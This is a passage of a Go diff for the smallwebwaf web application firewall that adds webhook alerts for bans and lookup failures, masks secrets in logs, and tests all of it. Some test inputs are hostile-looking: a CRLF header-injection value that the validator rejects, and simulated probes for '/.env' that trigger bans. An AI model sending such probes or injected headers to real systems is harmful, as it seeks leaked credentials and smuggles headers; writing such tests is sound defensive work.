a fragment. It returns the URL, and how the log shows it: its +// scheme and host, and ******** in place of its path and query, if it has +// either. An error shows no part of the value. An empty value is no URL. +func parseWebhookURL(value string) (*url.URL, string, error) { + if value == "" { + return nil, "", nil + } + + webhook, err := url.Parse(value) + if err != nil { + return nil, "", errNotWebhookURL + } + + port, err := strconv.ParseUint(webhook.Port(), 10, 16) + + valid := (webhook.Scheme == "http" || webhook.Scheme == "https") && + webhook.Hostname() != "" && (webhook.Port() == "" || (err == nil && port != 0)) && + webhook.User == nil && webhook.Opaque == "" && webhook.Fragment == "" + if !valid { + return nil, "", errNotWebhookURL + } + + logged := webhook.Scheme + "://" + webhook.Host + if webhook.Path != "" || webhook.RawQuery != "" { + logged += "/" + masked + } + + return webhook, logged, nil +} + +// parseWebhookHeaders reads a comma-separated list of headers, each its +// name, :, and its value, and returns them, and how the log shows them, +// with each value as ********. An error names the item by its place in +// the list, so that it shows no value. An empty value is an empty list. +func parseWebhookHeaders(value string) (http.Header, string, error) { + headers := http.Header{} + if strings.TrimSpace(value) == "" { + return headers, "", nil + } + + logged := []string{} + + for i, item := range strings.Split(value, ",") { + name, headerValue, found := strings.Cut(item, ":") + name = strings.TrimSpace(name) + + if !found || !IsHeaderName(name) || strings.ContainsAny(headerValue, "\r\n\x00") { + return nil, "", fmt.Errorf("item %d %w", i+1, errNotWebhookHeader) + } + + headers.Add(name, strings.TrimSpace(headerValue)) + logged = append(logged, name+":"+masked) + } + + return headers, strings.Join(logged, ","), nil +} + +// parseAlertEvents reads a comma-separated list of the events alerts can +// be sent for. +func parseAlertEvents(value string) ([]string, error) { + events, err := parseList(value) + if err != nil { + return nil, err + } + + for _, event := range events { + if !slices.Contains(alerts.Events(), event) { + return nil, fmt.Errorf("%q %w", event, errNotAlertEvent) + } + } + + return events, nil +} + +// parseNumberOrOff reads a whole number above zero, or off, which is 0. +func parseNumberOrOff(value string) (int, error) { + if value == off { + return 0, nil + } + + n, err := strconv.Atoi(value) + if err != nil || n <= 0 { + return 0, fmt.Errorf("%q %w", value, errNotNumberOrOff) + } + + return n, nil +} + // appNameMaxLength is the most characters RFC 5424 allows in an // APP-NAME. const appNameMaxLength = 48 diff --git a/internal/config/config_test.go b/internal/config/config_test.go index d7c6554..24a7577 100644 --- a/internal/config/config_test.go +++ b/internal/config/config_test.go @@ -6,9 +6,11 @@ import ( "encoding/json" "log/slog" "maps" + "net/http" "net/netip" "os" "path/filepath" + "reflect" "slices" "strings" "testing" @@ -62,6 +64,19 @@ const ( logRemoteBuffer = "SWWAF_LOG_REMOTE_BUFFER" logRemoteFacility = "SWWAF_LOG_REMOTE_FACILITY" logRemoteAppName = "SWWAF_LOG_REMOTE_APP_NAME" + alertWebhookURL = "SWWAF_ALERT_WEBHOOK_URL" + alertWebhookHeaders = "SWWAF_ALERT_WEBHOOK_HEADERS" + alertEvents = "SWWAF_ALERT_EVENTS" + alertCooldown = "SWWAF_ALERT_COOLDOWN" + alertMaxPerHour = "SWWAF_ALERT_MAX_PER_HOUR" +) + +// defaultAlertEvents is the default of SWWAF_ALERT_EVENTS, and +// defaultAlertCooldown that of SWWAF_ALERT_COOLDOWN. +const ( + defaultAlertEvents = "ban,permanent_ban,waf_block,anomaly,reputation_hit," + + "source_failure,file_error" + defaultAlertCooldown = "15m" ) // defaultLogRequestHeaders is the default of SWWAF_LOG_REQUEST_HEADERS. @@ -477,6 +492,150 @@ func TestAppNameSetStopsTheStartWhileSending(t *testing.T) { } } +func TestAlertSettingsDefaults(t *testing.T) { + t.Parallel() + + cfg := fromEnvironment(t, environment{}) + + if cfg.AlertWebhookURL != nil || len(cfg.AlertWebhookHeaders) != 0 || + strings.Join(cfg.AlertEvents, ",") != defaultAlertEvents || + cfg.AlertCooldown != 15*time.Minute || cfg.AlertMaxPerHour != 60 { + t.Errorf("alert settings %v, %v, %v, %s and %d, want no URL, no headers, "+ + "%s, 15m and 60", cfg.AlertWebhookURL, cfg.AlertWebhookHeaders, + cfg.AlertEvents, cfg.AlertCooldown, cfg.AlertMaxPerHour, defaultAlertEvents) + } +} + +func TestAlertSettingsAsSet(t *testing.T) { + t.Parallel() + + const webhook = "https://alerts.example:8443/hooks/waf?team=ops" + + cfg := fromEnvironment(t, environment{ + alertWebhookURL: webhook, + alertWebhookHeaders: "Authorization: Bearer abc:def , x-team:ops", + alertEvents: "ban, file_error", + alertCooldown: "1h", + alertMaxPerHour: "10", + }) + + headers := http.Header{"Authorization": {"Bearer abc:def"}, "X-Team": {"ops"}} + if cfg.AlertWebhookURL.String() != webhook || + !reflect.DeepEqual(cfg.AlertWebhookHeaders, headers) || + !slices.Equal(cfg.AlertEvents, []string{"ban", "file_error"}) || + cfg.AlertCooldown != time.Hour || cfg.AlertMaxPerHour != 10 { + t.Errorf("alert settings %v, %v, %v, %s and %d", cfg.AlertWebhookURL, + cfg.AlertWebhookHeaders, cfg.AlertEvents, cfg.AlertCooldown, + cfg.AlertMaxPerHour) + } + + cfg = fromEnvironment(t, environment{ + alertWebhookURL: "", alertEvents: "", alertCooldown: off, alertMaxPerHour: off, + }) + if cfg.AlertWebhookURL != nil || len(cfg.AlertEvents) != 0 || + cfg.AlertCooldown != 0 || cfg.AlertMaxPerHour != 0 { + t.Errorf("set empty or off, alert settings %v, %v, %s and %d", + cfg.AlertWebhookURL, cfg.AlertEvents, cfg.AlertCooldown, cfg.AlertMaxPerHour) + } +} + +func TestInvalidAlertSettingStopsTheStart(t *testing.T) { + t.Parallel() + + wantStartStopped(t, []struct{ name, value string }{ + {alertWebhookURL, "alerts.example/smallwebwaf"}, + {alertWebhookURL, "ftp://alerts.example/"}, + {alertWebhookURL, "https:///smallwebwaf"}, + {alertWebhookURL, "https://user:password@alerts.example/"}, + {alertWebhookURL, "https://alerts.example/#top"}, + {alertWebhookURL, "https://alerts.example:0/"}, + {alertWebhookURL, "https://alerts.example:65536/"}, + {alertWebhookHeaders, "Authorization"}, + {alertWebhookHeaders, "X Team:ops"}, + {alertWebhookHeaders, ":ops"}, + {alertWebhookHeaders, "X-Team:ops,"}, + {alertWebhookHeaders, "X-Team:o\r\nps"}, + {alertEvents, "bans"}, + {alertEvents, "summary"}, + {alertEvents, "ban,,file_error"}, + {alertCooldown, "0"}, + {alertCooldown, "soon"}, + {alertMaxPerHour, "0"}, + {alertMaxPerHour, "-1"}, + {alertMaxPerHour, "1.5"}, + }) +} + +func TestWebhookHeadersAreLoggedMaskedAndNeverShown(t *testing.T) { + t.Parallel() + + const secret = "Bearer 0123456789abcdef" + + cfg := fromEnvironment(t, environment{ + alertWebhookHeaders: "Authorization:" + secret + ",X-Team:ops", + }) + + var out bytes.Buffer + + slog.New(slog.NewJSONHandler(&out, nil)).Info("starting", "settings", cfg) + + logged := out.String() + if strings.Contains(logged, secret) || strings.Contains(logged, "ops") || + !strings.Contains(logged, + `"`+alertWebhookHeaders+`":"Authorization:********,X-Team:********"`) { + t.Errorf("the headers are not logged masked: %s", logged) + } + + // An item that is not a header is named by its place, not shown. + _, err := config.FromEnvironment(environment{ + alertWebhookHeaders: "X-Team:ops," + secret, + }.lookupEnv) + + want := alertWebhookHeaders + ": item 2 is not a header name followed by : " + + "and the header's value, such as Authorization:Bearer " + if err == nil || err.Error() != want { + t.Errorf("error %v, want %s", err, want) + } +} + +func TestWebhookURLIsLoggedWithoutItsPathOrQueryAndNeverShown(t *testing.T) { + t.Parallel() + + const secret = "T0123/B4567/abcdef" + + for value, want := range map[string]string{ + "https://hooks.example/services/" + secret: "https://hooks.example/********", + "https://hooks.example:8443?token=" + secret: "https://hooks.example:8443/********", + "http://[2001:db8::1]:8080": "http://[2001:db8::1]:8080", + } { + cfg := fromEnvironment(t, environment{alertWebhookURL: value}) + + var out bytes.Buffer + + slog.New(slog.NewJSONHandler(&out, nil)).Info("starting", "settings", cfg) + + logged := out.String() + if strings.Contains(logged, secret) || + !strings.Contains(logged, `"`+alertWebhookURL+`":"`+want+`"`) { + t.Errorf("%s is not logged as %s: %s", value, want, logged) + } + } + + // A value that is not such a URL is not shown either. + for _, value := range []string{ + "ftp://hooks.example/services/" + secret, + "https://hooks.example/services/%zz" + secret, + } { + _, err := config.FromEnvironment(environment{alertWebhookURL: value}.lookupEnv) + + want := alertWebhookURL + ": is not an http or https URL without a user or " + + "a fragment, such as https://alerts.example/smallwebwaf" + if err == nil || err.Error() != want { + t.Errorf("error %v, want %s", err, want) + } + } +} + func TestCodeOnBothCountryListsStopsTheStart(t *testing.T) { t.Parallel() @@ -926,6 +1085,11 @@ func TestLogsEachSettingWithItsValue(t *testing.T) { logRemoteBuffer: "10000", logRemoteFacility: "local0", logRemoteAppName: hostname, + alertWebhookURL: "", + alertWebhookHeaders: "", + alertEvents: defaultAlertEvents, + alertCooldown: defaultAlertCooldown, + alertMaxPerHour: "60", } if !maps.Equal(line.Settings, want) { t.Errorf("logged settings\n%v\nwant\n%v", line.Settings, want) diff --git a/internal/lookup/lookup.go b/internal/lookup/lookup.go index a2b7139..bf016c5 100644 --- a/internal/lookup/lookup.go +++ b/internal/lookup/lookup.go @@ -19,6 +19,7 @@ import ( "time" "github.com/hashicorp/golang-lru/v2/simplelru" + "sneak.berlin/go/smallwebwaf/internal/alerts" "sneak.berlin/go/smallwebwaf/internal/metrics" ) @@ -68,6 +69,8 @@ type Params struct { // Metrics count the requests to GeoJS, those that failed, and the // clients that go without an answer. Metrics *metrics.Metrics + // Alerts receive a source_failure alert each time GeoJS fails. + Alerts *alerts.Queue } // GeoJS looks up clients' countries through GeoJS. At most one request @@ -78,6 +81,7 @@ type GeoJS struct { now func() time.Time processLog *slog.Logger metrics *metrics.Metrics + alerts *alerts.Queue // httpClient follows no redirect, so that visitors' addresses go to // GeoJS alone: a redirect is a failure. httpClient *http.Client @@ -127,6 +131,7 @@ func New(params Params) *GeoJS { now: params.Now, processLog: params.ProcessLog, metrics: params.Metrics, + alerts: params.Alerts, httpClient: &http.Client{ CheckRedirect: func(*http.Request, []*http.Request) error { return http.ErrUseLastResponse @@ -386,6 +391,14 @@ func (g *GeoJS) keep( g.processLog.Warn("asking GeoJS failed", "error", err.Error(), "asking_again_in", g.retryDelay.String()) + g.alerts.Raise(alerts.Alert{ + Event: alerts.EventSourceFailure, + Reason: "asking GeoJS failed", + Detail: map[string]any{ + "source": "geojs", "error": err.Error(), + "asking_again_in": g.retryDelay.String(), + }, + }) return false } diff --git a/internal/lookup/lookup_test.go b/internal/lookup/lookup_test.go index 4d718fc..c176b00 100644 --- a/internal/lookup/lookup_test.go +++ b/internal/lookup/lookup_test.go @@ -6,6 +6,8 @@ import ( "net/http" "net/http/httptest" "net/netip" + "net/url" + "reflect" "slices" "strings" "sync" @@ -14,6 +16,7 @@ import ( "time" "github.com/prometheus/client_golang/prometheus/testutil" + "sneak.berlin/go/smallwebwaf/internal/alerts" "sneak.berlin/go/smallwebwaf/internal/lookup" "sneak.berlin/go/smallwebwaf/internal/metrics" ) @@ -197,6 +200,7 @@ func TestFailureIsLoggedWithoutTheAddressesAskedAbout(t *testing.T) { Now: time.Now, ProcessLog: slog.New(slog.NewTextHandler(&log, nil)), Metrics: metrics.New(1), + Alerts: alerts.New(alerts.Params{}), }) g.SetTransport(geojs) @@ -211,6 +215,45 @@ func TestFailureIsLoggedWithoutTheAddressesAskedAbout(t *testing.T) { }) } +func TestFailureRaisesASourceFailureAlertOncePerCooldown(t *testing.T) { + t.Parallel() + + synctest.Test(t, func(t *testing.T) { + geojs, clock, g, queue := startWithAlerts() + clients := newClients() + + geojs.set(failing) + + wantCountry(t, g, clients(), "") + + want := alerts.Alert{ + Time: clock.Now(), + Event: alerts.EventSourceFailure, + Reason: "asking GeoJS failed", + Detail: map[string]any{ + "source": "geojs", + "error": "GeoJS answered 503 Service Unavailable", + "asking_again_in": "1s", + }, + } + + // The next failure, a second later, is a repeat within the + // cooldown. + clock.advance(time.Second) + wantCountry(t, g, clients(), "") + wantRequests(t, geojs, 2) + + waiting := queue.Snapshot().Waiting + if len(waiting) != 1 || !reflect.DeepEqual(waiting[0], want) { + t.Errorf("alerts waiting %+v, want only %+v", waiting, want) + } + + if queue.Suppressed() != 1 { + t.Errorf("%d alerts held back, want the repeat", queue.Suppressed()) + } + }) +} + func TestWaitingClientsAreAskedAboutInOneRequest(t *testing.T) { t.Parallel() @@ -361,6 +404,7 @@ func TestClientsWithoutAnAnswerAreCounted(t *testing.T) { Now: time.Now, ProcessLog: slog.New(slog.DiscardHandler), Metrics: m, + Alerts: alerts.New(alerts.Params{}), }) g.SetTransport(&standIn{answers: failing}) @@ -524,17 +568,33 @@ func (c *testClock) advance(d time.Duration) { // start returns a stand-in for GeoJS that answers, a clock, and a GeoJS // asking the stand-in by that clock. func start() (*standIn, *testClock, *lookup.GeoJS) { + geojs, clock, g, _ := startWithAlerts() + + return geojs, clock, g +} + +// startWithAlerts is start, and returns the queue of the alerts GeoJS +// raises as well, for a webhook that is never sent them, with the default +// cooldown, by the same clock. +func startWithAlerts() (*standIn, *testClock, *lookup.GeoJS, *alerts.Queue) { geojs := &standIn{} clock := &testClock{now: time.Date(2026, 10, 4, 0, 0, 0, 0, time.UTC)} + queue := alerts.New(alerts.Params{ + WebhookURL: &url.URL{Scheme: "https", Host: "alerts.example"}, + Events: alerts.Events(), + Cooldown: 15 * time.Minute, + Now: clock.Now, + }) g := lookup.New(lookup.Params{ URL: lookup.URL, Now: clock.Now, ProcessLog: slog.New(slog.DiscardHandler), Metrics: metrics.New(1), + Alerts: queue, }) g.SetTransport(geojs) - return geojs, clock, g + return geojs, clock, g, queue } // newClients returns what returns a new IPv4 client each time it is diff --git a/internal/metrics/metrics.go b/internal/metrics/metrics.go index 7629500..026d8a7 100644 --- a/internal/metrics/metrics.go +++ b/internal/metrics/metrics.go @@ -11,6 +11,7 @@ import ( "github.com/prometheus/client_golang/prometheus" "github.com/prometheus/client_golang/prometheus/collectors" "github.com/prometheus/client_golang/prometheus/promhttp" + "sneak.berlin/go/smallwebwaf/internal/alerts" "sneak.berlin/go/smallwebwaf/internal/bans" "sneak.berlin/go/smallwebwaf/internal/ratelimit" "sneak.berlin/go/smallwebwaf/internal/remotelog" @@ -225,6 +226,47 @@ func (m *Metrics) AddRemoteLog(remote *remotelog.Sender) { ) } +// AddAlerts adds the metrics of the alerts sent to +// SWWAF_ALERT_WEBHOOK_URL, read from queue as the metrics are asked for, +// with the destination webhook: the alerts sent, the requests to the +// webhook that failed, and the alerts held back and dropped. +func (m *Metrics) AddAlerts(queue *alerts.Queue) { + webhook := prometheus.Labels{"destination": "webhook"} + + m.registry.MustRegister( + prometheus.NewCounterFunc(prometheus.CounterOpts{ + Name: "smallwebwaf_alerts_sent_total", + Help: "Alerts the destination took.", + ConstLabels: webhook, + }, func() float64 { + return float64(queue.Sent()) + }), + prometheus.NewCounterFunc(prometheus.CounterOpts{ + Name: "smallwebwaf_alerts_failed_total", + Help: "Requests to the destination that failed.", + ConstLabels: webhook, + }, func() float64 { + return float64(queue.Failed()) + }), + prometheus.NewCounterFunc(prometheus.CounterOpts{ + Name: "smallwebwaf_alerts_suppressed_total", + Help: "Alerts held back: repeats within SWWAF_ALERT_COOLDOWN, and " + + "alerts past SWWAF_ALERT_MAX_PER_HOUR, for the hour's summary.", + ConstLabels: webhook, + }, func() float64 { + return float64(queue.Suppressed()) + }), + prometheus.NewCounterFunc(prometheus.CounterOpts{ + Name: "smallwebwaf_alerts_dropped_total", + Help: "Alerts dropped, the oldest first, from a full queue, and alerts " + + "given up as the destination refused them.", + ConstLabels: webhook, + }, func() float64 { + return float64(queue.Dropped()) + }), + ) +} + // ServeHTTP answers with the metrics in the Prometheus text format. func (m *Metrics) ServeHTTP(w http.ResponseWriter, r *http.Request) { m.handler.ServeHTTP(w, r) diff --git a/internal/proxy/alerts_test.go b/internal/proxy/alerts_test.go new file mode 100644 index 0000000..92845b0 --- /dev/null +++ b/internal/proxy/alerts_test.go @@ -0,0 +1,263 @@ +package proxy_test + +import ( + "maps" + "net/http" + "net/netip" + "reflect" + "testing" + "time" + + "sneak.berlin/go/smallwebwaf/internal/alerts" + "sneak.berlin/go/smallwebwaf/internal/bans" + "sneak.berlin/go/smallwebwaf/internal/proxy" + "sneak.berlin/go/smallwebwaf/internal/requestlog" +) + +const ( + alertWebhookURL = "SWWAF_ALERT_WEBHOOK_URL" + alertMaxPerHour = "SWWAF_ALERT_MAX_PER_HOUR" + // alertInstance is the instance every alert of these tests gives. + alertInstance = "fsn1app1/gitea" +) + +func TestBanForABrokenLimitRaisesABanAlertWithItsNotes(t *testing.T) { + t.Parallel() + + s, clk, server, queue := startWithAlerts(t, map[string]string{ + rateLimitPerMinute: "1", + banScopeV4Prefix: "24", + }) + start := clk.Now() + + s.get(client, http.StatusOK, requestlog.ActionForward) + s.get(client, http.StatusForbidden, requestlog.ActionRateLimited) + + netblock := netip.MustParsePrefix("203.0.113.0/24") + ban := server.Ledger.Bans(netblock)[0] + + // A request refused under the ban raises no other alert. + clk.advance(time.Minute) + s.get(client, http.StatusForbidden, requestlog.ActionBanned) + + wantAlerts(t, queue, banAlert(alerts.EventBan, start, client, bans.Ban{ + Netblock: netblock, Cause: bans.CauseLimit, + Reason: "requests per minute over the limit of 1", Notes: ban.Notes, + }, requestlog.FormatTime(start.Add(time.Hour)))) + + if ban.Notes.Limit != 1 || ban.Notes.Request.Path != "/" { + t.Errorf("the alert's notes are %+v, want those of the broken limit", ban.Notes) + } +} + +func TestAttackBanRaisesABanAlertThenAPermanentBanAlert(t *testing.T) { + t.Parallel() + + s, clk, server, queue := startWithAlerts(t, map[string]string{ + rulesDir: writeRules(t, testRules), + }) + start := clk.Now() + netblock := netip.MustParsePrefix(client + "/32") + other := netip.MustParsePrefix(otherClient + "/32") + + // The probe bans the client for seven days, and its next request makes + // the ban permanent. The request after that changes nothing. + s.request(client, "/.env", http.StatusForbidden, requestlog.ActionBanned) + + attackBan := server.Ledger.Bans(netblock)[0] + + clk.advance(time.Minute) + s.get(client, http.StatusForbidden, requestlog.ActionBanned) + + permanentBan := server.Ledger.Bans(netblock)[0] + + s.get(client, http.StatusForbidden, requestlog.ActionBanned) + + // Another client's probe after its first ban has run out without a + // request makes a permanent ban at once. + s.request(otherClient, "/.env", http.StatusForbidden, requestlog.ActionBanned) + clk.advance(7 * 24 * time.Hour) + s.request(otherClient, "/.env", http.StatusForbidden, requestlog.ActionBanned) + + otherBans := server.Ledger.Bans(other) + + wantAlerts(t, queue, + attackAlert(alerts.EventBan, start, client, attackBan, + requestlog.FormatTime(start.Add(7*24*time.Hour))), + attackAlert(alerts.EventPermanentBan, start.Add(time.Minute), client, + permanentBan, "permanent"), + attackAlert(alerts.EventBan, start.Add(time.Minute), otherClient, otherBans[0], + requestlog.FormatTime(start.Add(time.Minute+7*24*time.Hour))), + attackAlert(alerts.EventPermanentBan, start.Add(time.Minute+7*24*time.Hour), + otherClient, otherBans[1], "permanent"), + ) +} + +func TestObserveModeRaisesTheBanAlertsItWouldHave(t *testing.T) { + t.Parallel() + + s, clk, server, queue := startWithAlerts(t, map[string]string{ + mode: observe, + rateLimitPerMinute: "2", + rulesDir: writeRules(t, testRules), + }) + start := clk.Now() + + // A ban for a clear sign of attack, which a request under it would make + // permanent. + group := netip.MustParsePrefix(ipv6Group) + attackBan, _ := server.Ledger.BanForAttack(group, start, bans.Notes{RuleID: "probe"}) + + // The third request breaks the limit, and so does the fourth, within the + // cooldown, which raises nothing. The probe is a clear sign of attack. + for range 4 { + s.get(client, http.StatusOK, requestlog.ActionForward) + } + + s.request(otherClient, "/.env", http.StatusOK, requestlog.ActionForward) + line := s.get(ipv6Client, http.StatusOK, requestlog.ActionForward) + + // No ban is made, and none made permanent. + if held := server.Ledger.Snapshot(); len(held) != 1 || held[0] != attackBan || + line.BanExpires != requestlog.FormatTime(attackBan.Expires) { + t.Errorf("the ledger holds %+v, and the log line gives %s, want the ban "+ + "for the attack alone, as it was", held, line.BanExpires) + } + + waiting := queue.Snapshot().Waiting + if len(waiting) != 3 || queue.Suppressed() != 0 { + t.Fatalf("%d alerts wait and %d are held back, want 3 and 0: %+v", + len(waiting), queue.Suppressed(), waiting) + } + + limitNotes, _ := waiting[0].Detail["notes"].(bans.Notes) + attackNotes, _ := waiting[1].Detail["notes"].(bans.Notes) + + if limitNotes.Limit != 2 || limitNotes.Request.Path != "/" || + attackNotes.Request.Path != "/.env" { + t.Errorf("the notes are %+v and %+v, want those of the broken limit and "+ + "of the probe", limitNotes, attackNotes) + } + + // Each alert is the one enforce mode would have raised, with mode + // observe in its detail. + want := []alerts.Alert{ + banAlert(alerts.EventBan, start, client, bans.Ban{ + Netblock: netip.MustParsePrefix(client + "/32"), Cause: bans.CauseLimit, + Reason: "requests per minute over the limit of 2", Notes: limitNotes, + }, requestlog.FormatTime(start.Add(time.Hour))), + attackAlert(alerts.EventBan, start, otherClient, bans.Ban{ + Netblock: netip.MustParsePrefix(otherClient + "/32"), Notes: attackNotes, + }, requestlog.FormatTime(start.Add(7*24*time.Hour))), + attackAlert(alerts.EventPermanentBan, start, ipv6Client, attackBan, permanent), + } + for _, alert := range want { + alert.Detail["mode"] = observe + } + + wantAlerts(t, queue, want...) +} + +func TestObserveModeWorksOutABanOnlyWhenItsAlertWouldBeSent(t *testing.T) { + t.Parallel() + + s, _, _, queue := startWithAlerts(t, map[string]string{ + mode: observe, + rateLimitPerMinute: "2", + rulesDir: writeRules(t, testRules), + alertMaxPerHour: "2", + }) + + // The client's third request breaks the limit, and raises the first + // alert of the hour. Its fourth is within the cooldown. + for range 4 { + s.get(client, http.StatusOK, requestlog.ActionForward) + } + + // The other client's first probe raises the second. Its second probe is + // within the cooldown. + for range 2 { + s.request(otherClient, "/.env", http.StatusOK, requestlog.ActionForward) + } + + // The IPv6 client's third request breaks the limit past the two alerts + // an hour. + for range 3 { + s.get(ipv6Client, http.StatusOK, requestlog.ActionForward) + } + + // Had the ban been worked out for any of the requests within the + // cooldown or past the two an hour, its alert would have been raised, + // held back and counted. + if waiting := queue.Snapshot().Waiting; len(waiting) != 2 || queue.Suppressed() != 0 { + t.Errorf("%d alerts wait and %d are held back, want 2 and 0: %+v", + len(waiting), queue.Suppressed(), waiting) + } +} + +// startWithAlerts is startWithClock with alerts to a webhook, which is +// never sent them, and returns the queue they wait in as well. +func startWithAlerts( + t *testing.T, env map[string]string, +) (*sender, *clock, *proxy.Server, *alerts.Queue) { + t.Helper() + + app := startApp(t, func(http.ResponseWriter, *http.Request) {}) + clk := &clock{now: time.Date(2026, 10, 6, 0, 0, 0, 0, time.UTC)} + settings := map[string]string{ + trustedProxies: trustLocalhost, + alertWebhookURL: "https://alerts.example/smallwebwaf", + instanceName: alertInstance, + } + maps.Copy(settings, env) + + addr, out, server, queue := startProxyWithAlerts(t, app.URL, "", clk.Now, settings) + + return &sender{t: t, addr: addr, out: out}, clk, server, queue +} + +// banAlert returns the alert for event, raised by a request from client at +// the time raised, for ban, with its netblock, cause, reason and notes, +// which ends at expires, as the log line gives it. +func banAlert( + event string, raised time.Time, client string, ban bans.Ban, expires string, +) alerts.Alert { + return alerts.Alert{ + Instance: alertInstance, + Time: raised, + Event: event, + Client: netip.MustParseAddr(client), + Netblock: ban.Netblock, + Reason: ban.Reason, + Detail: map[string]any{ + "cause": ban.Cause, "ban_expires": expires, "notes": ban.Notes, + }, + } +} + +// attackAlert is banAlert for a ban for the probe rule of testRules, with +// the netblock and the notes of ban. +func attackAlert( + event string, raised time.Time, client string, ban bans.Ban, expires string, +) alerts.Alert { + return banAlert(event, raised, client, bans.Ban{ + Netblock: ban.Netblock, Cause: bans.CauseAttack, Reason: "matched the rule probe", + Notes: ban.Notes, + }, expires) +} + +// wantAlerts checks the alerts waiting in queue, in order. +func wantAlerts(t *testing.T, queue *alerts.Queue, want ...alerts.Alert) { + t.Helper() + + got := queue.Snapshot().Waiting + if len(got) != len(want) { + t.Fatalf("%d alerts wait, want %d: %+v", len(got), len(want), got) + } + + for i := range want { + if !reflect.DeepEqual(got[i], want[i]) { + t.Errorf("alert %d is\n%+v\nwant\n%+v", i, got[i], want[i]) + } + } +} diff --git a/internal/proxy/bans.go b/internal/proxy/bans.go index 3bbc649..9f29f35 100644 --- a/internal/proxy/bans.go +++ b/internal/proxy/bans.go @@ -4,6 +4,7 @@ import ( "net/netip" "time" + "sneak.berlin/go/smallwebwaf/internal/alerts" "sneak.berlin/go/smallwebwaf/internal/bans" "sneak.berlin/go/smallwebwaf/internal/requestlog" "sneak.berlin/go/smallwebwaf/internal/rules" @@ -16,18 +17,25 @@ func (rq *request) banResponse(action string) *refusal { } // banned reports whether a ban on a netblock the client is in covers the -// request at now, and notes for the log line when that ban ends. +// request at now, and notes for the log line when that ban ends. A +// request that makes the ban permanent, or in observe mode would have, +// raises the alert for it. func (rq *request) banned(now time.Time) bool { check := rq.h.ledger.Check if rq.h.config.Observe { - check = rq.h.ledger.Find // in observe mode the ban refuses nothing + check = rq.h.ledger.Find // the ban refuses nothing, and stays as it is } - ban, banned := check(rq.client, now) + ban, banned, madePermanent := check(rq.client, now) if banned { rq.line.BanExpires = banExpires(ban) } + if madePermanent { + ban.Expires = time.Time{} // the ban made permanent, which Find leaves as it is + rq.alertBan(ban) + } + return banned } @@ -35,7 +43,8 @@ func (rq *request) banned(now time.Time) bool { // client's counts for the log line, and reports whether the request takes // the client over a limit. In enforce mode such a request bans the // client's netblock, and sets the client's counters back to zero; in -// observe mode it does neither. +// observe mode it does neither, and raises the alert for the ban it would +// have made, if that alert would be sent. func (rq *request) limitBroken(now time.Time) bool { group := clientGroup(rq.client) @@ -49,41 +58,122 @@ func (rq *request) limitBroken(now time.Time) bool { rq.line.LimitHit = hit.Window rq.line.Offence = requestlog.OffenceLimit - if rq.h.config.Observe { + netblock := rq.h.netblock(rq.client) + if rq.h.config.Observe && !rq.wouldAlertBan(netblock, now, bans.CauseLimit) { return true } - netblock := rq.h.netblock(rq.client) - ban := rq.h.ledger.BanForLimit(netblock, now, bans.Notes{ + notes := bans.Notes{ Country: rq.line.Country, Limit: hit.Limit, Window: hit.Window, Count: hit.Requests, Request: rq.noted(now), Requests: rq.netblockRequests(netblock), - }) + } + + if rq.h.config.Observe { + ban, wouldBan := rq.h.ledger.WouldBanForLimit(netblock, now, notes) + if wouldBan { + rq.alertBan(ban) + } + + return true + } + + ban, made := rq.h.ledger.BanForLimit(netblock, now, notes) rq.h.limiter.Reset(group) rq.line.BanExpires = banExpires(ban) + if made { + rq.alertBan(ban) + } + return true } // banForAttack bans the client's netblock at now for a clear sign of -// attack, the match of rule, a ban rule. +// attack, the match of rule, a ban rule. In observe mode it makes no ban, +// and raises the alert for the ban it would have made, if that alert +// would be sent. func (rq *request) banForAttack(now time.Time, rule rules.Rule) { netblock := rq.h.netblock(rq.client) - ban := rq.h.ledger.BanForAttack(netblock, now, bans.Notes{ + if rq.h.config.Observe && !rq.wouldAlertBan(netblock, now, bans.CauseAttack) { + return + } + + notes := bans.Notes{ Country: rq.line.Country, RuleID: rule.ID, Target: rule.Target, Request: rq.noted(now), Requests: rq.netblockRequests(netblock), - }) + } + + if rq.h.config.Observe { + ban, wouldBan := rq.h.ledger.WouldBanForAttack(netblock, now, notes) + if wouldBan { + rq.alertBan(ban) + } + + return + } + + ban, made := rq.h.ledger.BanForAttack(netblock, now, notes) rq.line.BanExpires = banExpires(ban) + + if made { + rq.alertBan(ban) + } } -// noted is the request, refused at now with SWWAF_BAN_RESPONSE, as the -// notes of the ban it makes keep it. +// wouldAlertBan reports whether the alert for a ban on netblock for cause +// made at now would be sent. In observe mode the ban the request would +// have made is worked out only then, at most once per +// SWWAF_ALERT_COOLDOWN and never with no webhook set: its notes count the +// netblock's requests, which can mean going through every client. +func (rq *request) wouldAlertBan( + netblock netip.Prefix, now time.Time, cause string, +) bool { + event := alerts.EventBan + if rq.h.ledger.WouldBePermanent(netblock, now, cause) { + event = alerts.EventPermanentBan + } + + return rq.h.alerts.WouldSend(event, netblock) +} + +// alertBan raises the alert for ban, which the request made, or made +// permanent: permanent_ban for a permanent ban, ban for another. Its +// detail gives the ban's cause, when it ends, and its notes, and in +// observe mode, where ban is the ban that would have been made, or made +// permanent, mode, observe. +func (rq *request) alertBan(ban bans.Ban) { + event := alerts.EventBan + if ban.Permanent() { + event = alerts.EventPermanentBan + } + + detail := map[string]any{ + "cause": ban.Cause, "ban_expires": banExpires(ban), "notes": ban.Notes, + } + if rq.h.config.Observe { + detail["mode"] = "observe" + } + + rq.h.alerts.Raise(alerts.Alert{ + Event: event, + Client: rq.client, + Netblock: ban.Netblock, + Country: ban.Notes.Country, + Reason: ban.Reason, + Detail: detail, + }) +} + +// noted is the request, refused at now with SWWAF_BAN_RESPONSE, or in +// observe mode as it would have been, as the notes of the ban it makes +// keep it. func (rq *request) noted(now time.Time) bans.Request { return bans.Request{ Time: now, diff --git a/internal/proxy/proxy.go b/internal/proxy/proxy.go index f29da4c..1650cb6 100644 --- a/internal/proxy/proxy.go +++ b/internal/proxy/proxy.go @@ -11,6 +11,7 @@ import ( "strings" "time" + "sneak.berlin/go/smallwebwaf/internal/alerts" "sneak.berlin/go/smallwebwaf/internal/bans" "sneak.berlin/go/smallwebwaf/internal/config" "sneak.berlin/go/smallwebwaf/internal/lookup" @@ -63,6 +64,9 @@ type Params struct { // Rules are the rule files' rules, which each request is checked // against. Rules *rules.Files + // Alerts receive the alert for each ban the proxy makes or makes + // permanent, and for GeoJS failing. + Alerts *alerts.Queue } // Server is the server smallwebwaf runs, with the parts of the proxy @@ -110,8 +114,10 @@ func New(params Params) *Server { Now: params.Now, ProcessLog: params.ProcessLog, Metrics: m, + Alerts: params.Alerts, }), - rules: params.Rules, + rules: params.Rules, + alerts: 